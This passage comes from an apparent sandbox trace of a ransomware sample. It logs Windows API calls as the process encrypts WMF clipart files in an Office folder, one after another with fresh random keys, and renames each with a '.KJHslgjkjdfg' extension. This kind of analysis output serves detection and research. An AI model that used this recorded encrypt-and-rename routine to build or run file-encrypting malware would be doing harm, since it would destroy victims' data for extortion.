lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.917] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.918] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.918] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.918] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.918] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8424, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8424, lpOverlapped=0x0) returned 1 [0204.919] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8430, dwBufLen=0x8430 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8430) returned 1 [0204.920] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.920] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8430, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8430, lpOverlapped=0x0) returned 1 [0204.920] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.920] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.920] SetEndOfFile (hFile=0x130) returned 1 [0204.923] GetProcessHeap () returned 0x2ef0000 [0204.923] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.923] GetProcessHeap () returned 0x2ef0000 [0204.923] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.923] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf.kjhslgjkjdfg")) returned 1 [0204.925] CloseHandle (hObject=0x130) returned 1 [0204.925] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1314, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239935.WMF", cAlternateFileName="")) returned 1 [0204.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.927] GetProcessHeap () returned 0x2ef0000 [0204.927] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.927] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.927] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.927] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0204.929] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.929] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.929] GetProcessHeap () returned 0x2ef0000 [0204.929] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.929] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.929] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.929] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.929] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.929] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.929] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.929] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.930] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.072] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.072] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.072] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.072] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1314, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1314, lpOverlapped=0x0) returned 1 [0205.073] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1320, dwBufLen=0x1320 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1320) returned 1 [0205.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.074] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1320, lpOverlapped=0x0) returned 1 [0205.074] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.074] SetEndOfFile (hFile=0x130) returned 1 [0205.077] GetProcessHeap () returned 0x2ef0000 [0205.077] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.077] GetProcessHeap () returned 0x2ef0000 [0205.077] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.077] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf.kjhslgjkjdfg")) returned 1 [0205.079] CloseHandle (hObject=0x130) returned 1 [0205.079] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239941.WMF", cAlternateFileName="")) returned 1 [0205.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.080] GetProcessHeap () returned 0x2ef0000 [0205.080] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.080] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.080] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.080] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.082] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.082] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.082] GetProcessHeap () returned 0x2ef0000 [0205.082] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.082] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.082] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.082] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.082] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.082] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.083] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.083] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.083] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.083] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.083] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1418, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1418, lpOverlapped=0x0) returned 1 [0205.084] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1420, dwBufLen=0x1420 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1420) returned 1 [0205.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.084] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1420, lpOverlapped=0x0) returned 1 [0205.085] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.085] SetEndOfFile (hFile=0x130) returned 1 [0205.087] GetProcessHeap () returned 0x2ef0000 [0205.087] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.087] GetProcessHeap () returned 0x2ef0000 [0205.087] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf.kjhslgjkjdfg")) returned 1 [0205.089] CloseHandle (hObject=0x130) returned 1 [0205.089] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1998, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239943.WMF", cAlternateFileName="")) returned 1 [0205.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.090] GetProcessHeap () returned 0x2ef0000 [0205.090] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.090] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.090] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.091] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.093] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.093] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.093] GetProcessHeap () returned 0x2ef0000 [0205.093] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.093] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.093] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.093] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.093] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.093] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.093] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.094] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.094] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.094] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.094] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.094] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1998, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1998, lpOverlapped=0x0) returned 1 [0205.095] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19a0, dwBufLen=0x19a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19a0) returned 1 [0205.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.096] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x19a0, lpOverlapped=0x0) returned 1 [0205.096] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.096] SetEndOfFile (hFile=0x130) returned 1 [0205.097] GetProcessHeap () returned 0x2ef0000 [0205.097] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.097] GetProcessHeap () returned 0x2ef0000 [0205.097] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.097] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf.kjhslgjkjdfg")) returned 1 [0205.099] CloseHandle (hObject=0x130) returned 1 [0205.099] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239951.WMF", cAlternateFileName="")) returned 1 [0205.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.100] GetProcessHeap () returned 0x2ef0000 [0205.100] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.100] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.100] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.100] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.100] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.100] GetProcessHeap () returned 0x2ef0000 [0205.100] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.100] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.100] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.100] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.103] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.103] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.103] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.103] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.103] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.103] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.103] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.103] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.103] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1c40, lpNumberOfBytesRead=0x4dff27c, 